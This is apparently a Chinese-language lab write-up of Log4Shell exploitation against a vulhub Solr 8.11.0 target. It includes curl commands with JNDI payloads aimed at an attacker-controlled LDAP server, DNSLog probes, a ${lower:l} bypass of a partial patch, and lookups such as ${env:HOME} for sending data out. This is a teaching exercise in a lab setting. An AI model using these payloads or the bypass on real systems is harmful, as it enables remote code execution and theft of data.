0.经验与教训
(1)bash会把$当成变量参数来处理,所以要进行编码后再执行,当然如果用的是burosuite就没有这个烦恼
(2)这是个修了一半的靶场,直接ldap连接不得吃,要进行简单的绕过
(3)渗透原则:先利用最小副作用确定漏洞是否存在再投入使用(dnslog)
(4)一个不像是业务系统的服务,其大概率是某种组件(solr/ES/Nacos/中间件管理端)
(5)看不懂输出:ctrl+f搜version,jvm,java,path,agentlib这种关键词,并带着问题读这是什么组件?什么版本?
(6)想要保留${}的插值功能,只想把危险的JDNI单独禁掉,凡是想保留功能又要限制功能的补丁,就容易留下绕过
1.实验环境
| 对象 | 值 | 说明 |
|---|---|---|
| 目标服务 | Solr 8.11.0(Lucene 8.11.0) | 管理接口未认证,/solr/admin/cores?action= |
| 运行环境 | Docker 容器,内网 172.23.0.2/16,映射 192.168.153.1:8983 |
容器进程 uid=0(root) |
| JVM | JDK 1.8.0_102(Debian jessie) | ⭐ 小于 8u191,允许 JNDI 远程 codebase 加载 |
| 日志库 | log4j2 疑似 2.15.x (补丁版) | 直接 jndi:ldap/rmi 被拦 (TCP RST);dns 仍可用 |
| 触发点 | GET /solr/admin/cores?action=${...} |
action 参数值被服务端写入 log4j 日志,触发 lookup |
| 攻击机 | Kali,192.168.153.128 |
工具:curl /marshalsec/python http.server/javac |
| LDAP 服务 | marshalsec‑0.0.3‑SNAPSHOT‑all.jar LDAPRefServer,监听 9191 | codebase=http://192.168.153.128:8000/#Log4jPwn |
| HTTP 托管 | python3 -m http.server 8000(工作目录存放恶意 class) |
日志验证 class 下载、命令执行外带 |
| 结果接收 | 自研 Python 回传器:8001 | 接收容器内命令输出(POST) |
| 观测通道 | DNSLog(dnslog.cn专属子域) | 判断目标是否完成域名解析行为 |
| 恶意类 | Log4jPwn.java,javac --release 8编译 |
static 代码块执行命令,DNS/HTTP/ 命令多路外带 |
2.基本原理
Java 的日志库 Log4j2 有个"贴心"功能:它写日志时,如果消息里出现 {...},会尝试把它当作 占位符去解析------比如 {sys:java.version} 会被替换成 Java 版本号。
坏就坏在它支持的协议里有一个叫 JNDI lookup:
${jndi:ldap://攻击者服务器/恶意对象}
意思是:"帮我去连接这个 LDAP 地址,把取回来的对象加载进来。"
攻击场景:只要你的程序把 用户可控的输入 写进了 log4j 日志,用户就能塞入 ${jndi:...},让服务端替你发起网络请求、甚至加载并执行代码。这属于「日志注入 → JNDI 注入 → 远程代码执行」链。
1.2 为什么是 Solr 8.11.0?
Solr(Apache 搜索引擎)的管理接口 /solr/admin/cores?action=xxx 会把 action 参数的值记进日志(如 Action requested ...)。而 Solr 8.11.0 内置的正是 log4j2------action 参数 = 用户可控且会进日志 = Log4Shell 的完美触发点。说人话就是这个东西方便注入,所以vulhub选了这个来搭载log4j2
3.攻击流程
先学会这招:
1 先在你的终端生成编码
python3 -c "import urllib.parse; print(urllib.parse.quote('\{jndi:\\{lower:l}dap://c1.xxx.dnslog.cn}', safe=''))"
输出应该是:
%24%7Bjndi%3A%24%7Blower%3Al%7Ddap%3A%2F%2Fc1.xxx.dnslog.cn%7D
2 发送(把编码粘进 URL)
curl -s -m 10 -w "\nHTTP状态码: %{http_code}\n" "http://192.168.153.1:8983/solr/admin/cores?action=%24{jndi%3A%24{lower%3Al}dap%3A%2F%2Fc1.xxx.dnslog.cn}"
其中这个xxx是你自己申请的dnslog网站
3 申请dnslog网站
那要怎么申请这个dnslog网站呢?
第 1 步:浏览器打开 http://www.dnslog.cn,点页面中间的 Get SubDomain(获取域名)。
第 2 步:页面顶部会出现你的专属域名,形如:
xxx.dnslog.cn ← xxx 是随机分配的 6~8 位字符,只有你知道
第 3 步:把域名拼进 payload 的任意子域位置去触发:
curl "http://192.168.153.1:8983/solr/admin/cores?action=%24{jndi%3Adns%3A%2F%2Fprobe1.xxx.dnslog.cn}"
域名前随意加子域: probe1.xxx.dnslog.cn
第 4 步 :回 dnslog.cn 页面点 Refresh Record(刷新记录),表格里会出现:
记录字段 含义
查询时间 目标解析该域名的时刻(对照你发请求的时间戳判断是否由你触发)
记录类型 A(目标要的是 IP 地址)
来源 IP 谁发起的解析------注意 NAT 下常显示网关/出口 IP,不代表目标内网 IP
解析内容 目标查询的完整子域(probe1.xxx.dnslog.cn)
关键:子域部分 probe1 是 你自己编的标识符------每次实验用不同子域(probe1/probe2/...),就能区分是 哪一次请求、哪一条 payload 触发的。这是 DNSLog 最实用的设计。
为什么要先用 dns://,而不是一步到位 ldap://?
这才是更重要的方法论问题。答案:分级验证,先证明"会执行",再上"会执行代码"。
- dns:// 是"无害探针",ldap:// 是"武器"
dns://:让服务端去解析一个域名 → 只产生一次 DNS 查询,不下载任何东西、不建立到你的 TCP 连接。副作用极小,且结果可观测。
ldap://:让服务端真的去连你的 LDAP 服务器、按响应去拉取远程对象 → 一旦触发就可能加载并执行代码。
渗透测试原则:先用最小副作用确认"洞存在",再投入完整利用。DNSLog 就是干这个的------它给你一个自己控制的域名,目标一旦解析它,你就收到记录,等于拿到了"漏洞确实触发"的回执。
- 它回答的不是"能不能执行",而是几个前置问题
用 dns:// 一次探测能同时回答:
问题 判断方式
服务端真的执行 JNDI lookup 吗? DNSLog 是否收到解析记录
出站网络通不通(有没有被内网防火墙断外联)? 同上
请求有没有被 WAF/网关拦? HTTP 返回 400 而不是 RST/403
补丁拦的是"整个 lookup"还是"特定协议"? 对照 dns 能过 / ldap 被断
这几个答案不搞清楚就上 ldap://,失败了你根本不知道是哪一环断了。
结果大概是这样
4 逐个发送
| # | Payload(URL 编码前) | HTTP 结果 | 外部观测 | 推断 |
|---|---|---|---|---|
| 1 | ${jndi:dns://lA1.你的.dnslog.cn} |
400,msg 回显 dns://lA1... |
DNSLog 收到解析 | ✅ lookup 会执行,dns 协议放行 |
| 2 | ${jndi:ldap://192.168.153.128:9191/恶意类} |
Connection reset by peer(HTTP:000) | marshalsec 零连接、连 DNS 都不查 | ❌ 直接 ldap 被掐 |
| 3 | ${jndi:rmi://192.168.153.128:9191/x} |
同 RST | 无连接 | ❌ rmi 同样被掐 |
| 4 | ${jndi:${lower:l}dap://192.168.153.128:9191/恶意类} |
400 | marshalsec 收到查询、域名被解析 | ✅ 绕过成功,LDAP lookup 真正执行 |
至于ldap和恶意类怎么弄之前我已经写过了就不再阐述
用了lower为什么就能成功了?
${lower:...} 是什么?
它是 log4j2 的内置 Lookup(查找器) 之一,功能就一件事:把参数转成小写。
${lower:ABC} → abc
${lower:l} → l (本来就小写,转完还是 l)
log4j2 内置了一整套这样的"函数",payload 里常见的还有:
| 写法 | 作用 | 用途 |
|---|---|---|
${lower:l} |
转小写 | 把 l 伪装成函数调用,拆分协议关键字绕过字符串检测 |
${upper:L} |
转大写 | 同上,产出大写 L,用于混淆协议头 |
${::-l} |
无默认值时返回‑l |
CVE‑2021‑45046 经典绕过变体,字符拆分混淆 |
${env:HOME} |
读取环境变量 | 信息搜集、数据外带 |
${sys:java.version} |
读取 JVM 系统属性 | 信息搜集、数据外带 |